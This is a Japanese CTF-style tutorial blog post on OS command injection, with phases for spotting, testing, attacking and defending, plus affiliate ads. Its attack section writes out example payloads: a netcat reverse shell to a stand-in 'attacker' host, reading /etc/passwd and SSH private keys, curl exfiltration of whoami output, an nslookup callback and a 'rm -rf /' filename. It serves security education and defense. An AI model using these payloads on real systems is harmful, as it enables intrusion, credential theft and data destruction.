PR 本記事には広告(Amazonアソシエイト・もしもアフィリエイト・A8.net等)が含まれます。掲載情報の正確性には努めていますが、商品の詳細は必ずリンク先で最新情報をご確認ください。
CTF・セキュリティ学習

【コマンドインジェクション編】OSコマンドに混ざる悪意とRCEの経路|CTF思考フレームワーク #16

安全に生きたい編集部

📖 この記事はシリーズの一部です

「CTF思考フレームワーク」 Web脆弱性編 #16 / 公開中 10記事 → シリーズ一覧を見る →

コマンドインジェクションは、Webアプリが裏でOSコマンドを呼ぶ場面で、攻撃者が「ついでに自分のコマンド」を実行させる攻撃。pingテスト、画像変換、PDF生成、ファイル圧縮…「サーバ側でCLIツールを叩く処理」がある場所はだいたい候補です🐚

「サーバが直接shellを叩いてる」っていう設計、思ってる以上に多いんですよ。便利さの裏側に脆弱性が眠っています。

難易度:★★☆(中級)

OSコマンドに混じる悪意。古典だけど未だに刺さる定番脆弱性です🎯

OSコマンドへのユーザー入力混入はそのままRCE。古典中の古典だね💀

👀 観察フェーズ:まず何を見る?

まずアプリが外部コマンドを呼ぶ箇所を探す!画像処理、PDF生成、ping診断、アーカイブ展開が要注意🔍

入力値が「ファイル名」「ホスト名」「URL」として渡される箇所が特に怪しい。サニタイズ漏れがあれば一発でRCEです。

system()/exec()/shell_exec()/Runtime.exec()/subprocess.Popen(shell=True)のようにシェル経由でコマンドを呼ぶ箇所は全部疑う👀

; lsとか| idを入れただけでサーバが実行しちゃうケースが今もあるんだね…😱

🤔 仮説フェーズ:攻撃者は何を考える?

コマンドインジェクションの典型は4ジャンル

攻撃者の仮説。

🔗 仮説①:シェルメタ文字の混入

;|&&$()` `などで追加コマンドを連結できる。

⚡ 仮説②:引数オプションの追加

コマンドに対して--exec-o ProxyCommandのような危険なオプションを渡す(curl、ssh、tar、zipなど)。

🤐 仮説③:Blind型(出力非表示)

レスポンスに結果が出なくても、sleep 5nslookupcurl時間差・外部通信から実行を確認できる。

📦 仮説④:ファイル名・引数経由

ファイル名に; rm -rf /を仕込んだりZip Slipのように展開時に評価される入力から侵入。

コマンドインジェクションは「シェルが解釈する文字」を埋め込む攻撃。サニタイズの完全性が命です。

シェルメタ文字を1文字でも通したら負けって覚えておこう💧

🔬 検証フェーズ:どうやって確かめる?

まず; sleep 10を投げてレスポンスが10秒遅れるか観察!Blindでも検出できる王道🧪

検証ステップ。

; nslookup attacker.comDNSログに痕跡が残ったら、Out-of-Band確認できるね🌐

⚔️ 攻撃フェーズ:実際の手口

コマンドインジェクション攻撃はこの3つが定番。

実戦シナリオ。

① シェル連結でRCE

file.png; nc attacker 4444 -e /bin/shのように追加コマンドでリバースシェルを取得。

② 機密情報の窃取

; cat /etc/passwd /root/.ssh/id_rsa秘密鍵・設定ファイルをレスポンスに混ぜる。

③ Blind型OOB通信

出力表示がなくても; curl http://attacker/?d=$(whoami)外部に情報を吐き出す

CTF{never_concat_user_input_into_shell}

原則は「ユーザー入力を文字列連結でシェルに渡さない」。これに尽きます。

🛡️ 防御フェーズ:どう守る?

コマンドインジェクション対策の3レイヤー!🛡️

防御の3原則。

🚫 シェル経由の呼び出しを避ける

shell=False(Python)や引数配列形式で呼ぶ。シェルパースを使わないのが最強の防御。

✅ 入力は許可リスト方式

ファイル名・引数は英数字とハイフンのみのような厳格なホワイトリスト。;|&$\`を見たら即拒否。

🔒 最小権限+seccompで被害局所化

Webプロセスは非rootユーザー&セルフコンテナで実行。RCEが起きてもDB認証情報まで届かないように。

「シェルを介さず、入力をホワイトリスト」これに尽きる💪

🛡️ 今日からできる対策ツール

パスワードの使い回しや手動管理はどんなに気をつけても限界があります。🔑 パスワード管理ツール「ワンパス」なら、複雑なパスワードを安全に保管して「1つのマスターパスワード」だけ覚えられるので、今日から始める防御策としてしっくりきます。

PR / 広告

ソースネクスト

※ 上記は他社サービスへのリンクです。購入は各自でご判断ください。

⚠️ よくある落とし穴

よくあるミス。

  1. 「; だけブロック」して、| や $() を見逃す。
  2. escapeshellcmd() を使って安心するが、引数自体のエスケープが足りない。
  3. 配列引数で渡してもshell=Trueを残してしまう(Python subprocess)。
  4. ファイル名にユーザー入力をそのまま使い、空白やメタ文字を許す。
  5. ImageMagickのpolicy.xmlでMVG/MSL/EPSPなどを無効化していない。
  6. ブラックリスト方式(禁止文字列リスト)で抜け漏れが発生する。

🧰 ツール早見表

使う道具。

ツール用途ひと言
Burp Collaborator / Interactsh外部コールバック検出ブラインド検出の最強コンビ
commixコマンドインジェクション自動エクスプロイトペイロード自動生成
HackTricks Cheatsheet迂回テクニック集スペース禁止時の${IFS}等が網羅

🎓 本気で学びたい人へ

Webセキュリティを「趣味」から「仕事」に変えたい方へ。🎓 ササエルはインフラエンジニアに特化したオンラインスクールで、セキュリティ設計の基礎から体系的に学べます。

PR / 広告

ササエル

📚 もっと深く学びたい人へ

体系的に攻撃と防御の両面を学びたいなら『ホワイトハッカー入門 第2版』が分かりやすい入口です📚

📚 次に読みたい

🧪 自分で検証してみる

「自分でWordPressサイトを立てて、ログイン畫面のセキュリティを実際に試してみたい」なら、まずは安価で高速なConoHa WINGから。初期費用無料で始められます。

PR / 広告

ConoHa WING

⚖️ 大事なお約束

必ず守ってね

この記事の手法は、必ず自分の環境か、許可されたCTF・脆弱性報奨金プログラム(HackerOne、Bugcrowd等)で試してください。他人のサービスに無断で攻撃を仕掛けるのは不正アクセス禁止法違反、立派な犯罪です。学んだ知識は守る側で活かしましょう🤝

記事URLをコピーしました